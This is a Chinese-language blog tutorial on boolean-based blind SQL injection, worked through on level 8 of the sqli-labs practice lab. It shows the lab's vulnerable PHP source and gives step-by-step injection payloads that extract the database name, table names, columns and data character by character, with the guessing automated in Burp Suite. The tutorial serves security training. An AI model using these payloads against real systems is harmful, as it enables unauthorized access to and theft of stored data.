sql注入–布尔盲注

靶场:sqli-labs-master
下载链接:靶场下载链接

第8关 盲注
php源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo '</br>';
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">';   echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="5" color="#FFFF00">';//echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>";  echo '<font color= "#0000ff" font size= 3>';    }
}else { echo "Please input the ID as parameter with numeric value";}?>

盲注分为
1.布尔类型
只会返回True或者False
2.时间盲注
通过sleep函数,使用F12观察加载时间的变化判断是否猜解是否正确

一.布尔盲注
例如输入?id=1
返回 you are in…

输入 ?id=1000
页面无返回信息

再测试?id=’
也没有回显。那么这种没有回显点的就称为盲注

盲注需要用到一些函数
1.substr() 截取字符串
2.length() 返回字符串长度
3.ascii() 返回字符串的ASCII码
4.sleep() 程序执行延迟()秒
5.if(exp1,exp2,exp3) 如果exp1正确,就执行exp2,否正执行exp3

由于盲注没有回显,所以只能通过逻辑语句比如and 来判断我们执行的语句是否成功
①.猜解数据库名长度

SELECT * FROM users WHERE id='1' and (length(database()))=8 -- ' LIMIT 0,1

(–为注释+表示空格,与%23即#作用相同)


8有回显

换成其他如9无回显
说明猜解出数据库名长度为8

②.然后就可以猜解数据库名
使用语句 ?id=’ and (ascii(substr(database(),1,1)))=115 --+
(substr(database(),1,1)表示从database()第一个字符开始截取,一共截取1个字符,然后使用ascii取得这个字符的ASCII码进行判断是否为ASCII码为115对应的字符

SELECT * FROM users WHERE id='1' and (ascii(substr(database(),1,1)))=115 -- ' LIMIT 0,1


通过此语句猜解出数据库名的第一个字符为ASCII码为115对应的字符即:s

然后可以使用burpsuite工具抓包通过爆破帮助我们快速破解剩下的字符
使用火狐浏览器,设置代理


抓包

发送到burpsuite的爆破模块

然后进行清除和设置要爆破的变量

设置115为要爆破的变量
设置payload,ascii码从0到127

然后开始攻击

可以看到,burpsuite将每个ASCII码都进行了尝试
只需要点击length查看与其他结果不同的ASCII码值

可以看到,当使用ASCII码101尝试时,返回结果为you are in,故可以得到database()的第二个字符为ASCII码为101对应的字符,即:e

同理可以获取剩余字符信息

只需将此处改为3 4 5 6 7 8 然后同上即可
得到数据库名称为security

③.猜解字段名

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=115 --+

同样使用burpsuite抓包
然后爆破


说明第一个表名对应的字符ASCII码为101 即:e
其他字符同理
得到表名为emails
其他表同理

④.取表中的字段信息
查询语句可参考前面的文章
sql注入–报错型

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=115 --+

⑤.取表中的数据

?id=1' and (ascii(substr((select email_id from emails where id= limit 0,1),1,1)))=115 --+

sql注入--布尔盲注相关推荐

  1. SQL注入-布尔盲注

    页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length('abc')  ...

  2. 【SQL注入-布尔盲注】

    SQL注入方法-布尔盲注 布尔盲注使用场景 案例演示 演示环境 源码分析 实际测试 使用布尔盲注猜解数据. 布尔盲注使用到的函数: 开始 布尔盲注使用场景 布尔型盲注应用于无数据回显,且WEB页面无报 ...

  3. SQL注入——布尔盲注,时间盲注,宽字节注入

    布尔盲注 1.布尔盲注利用前提 页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入 缺点:速度太慢,消耗大量时间 布尔盲注思维导图: 布尔盲注常用语句: su ...

  4. sql注入——布尔盲注

    场景 sql-labs中的 Less-8 一.主要运用的mysql语法: count()函数:统计查询结果的数量: length(str)函数:返回字符串 str的长度: left()函数: left ...

  5. python实现sql宽字节注入+布尔盲注

    目录 一.注意点 二.代码 三.使用 1.获取 (简单方法) (复杂方法) 2.使用 四.测试 一.注意点 本文代码是对着pikachu漏洞靶场的宽字节注入关卡开发的,代码中的payload和参数都基 ...

  6. sql注入_1-4_post盲注

    sql注入_1-4_post盲注 一.post盲注概念 1.首先post盲注和get盲注一样,只是不会拼接到url中 2.post请求会向指定资源提交数据,请求服务器进行处理,如,表单提交,文件上传等 ...

  7. 【小迪安全】Day16web漏洞-SQL注入之盲注

    web漏洞-SQL注入之盲注 文章目录 web漏洞-SQL注入之盲注 前言 盲注类型 报错盲注 猜解数据库 猜解表 猜解字段 猜解内容 布尔盲注 猜解数据库 猜解表 猜解字段 猜解内容 延迟注入 前言 ...

  8. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  9. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

最新文章

  1. python 作业4
  2. mac地址修改_优酷路由宝救砖时MAC和无线参数及SN恢复方法
  3. 文巾解题 477. 汉明距离总和
  4. 科大星云诗社动态20201228
  5. java实现人脸识别V3版本开发
  6. routing zuul_尚学堂0131之zuul的相关概念及如何性能调优
  7. phpcmsV9支付: 支付宝支付配置 (资源汇总)
  8. ArcGIS创建拓扑
  9. 五笔字根表识别码图_五笔字根识别码学习
  10. shell特殊命令 sort_wc_unip命令
  11. 信息加工心理学用计算机的工作原理,第四章 认知学习理论 第七节 信息加工学习理论...
  12. python制作动态表情包_sorrypy
  13. SparkSql create table导入本地excel
  14. 局域网内,两台电脑时间同步
  15. 翟山鹰“生态宇宙”重磅首发 缔造超级共赢生态
  16. matlab幂法与反幂法,matlab位移反幂法
  17. 湖南工业大学计算机录取分数线,2021湖南工业大学录取分数线_历年各专业分数线(2017-2020),各省投档线_一品高考网...
  18. 快速填充空单元格-快速填充上一行或者下一行数据
  19. 山东大学软件学院项目实训-创新实训-网络安全靶场实验平台(十五)
  20. 打造自己的MVC框架

热门文章

  1. 竣达技术 | 巡检触摸屏配合电池柜,电池安全放首位!
  2. dbForge Studio不能直接在可视化界面添加、修改和删除
  3. Tita绩效宝:发展评估和绩效考核之间的区别
  4. Isolated User Mode (IUM) Processes(MSDN翻译)
  5. MSN加密软件--SIMP设置指南
  6. POI报表入门及百万数据报表导出和读取
  7. 进度计划:什么是关键路径管理 1/2
  8. 【原创】会声会影X8 64位安装完成后一打开就示已停止工作的解决办法
  9. 使用Scrapy爬取励志名句————祝万千学子高考顺利
  10. linux下pthread_mutex_t使用时的问题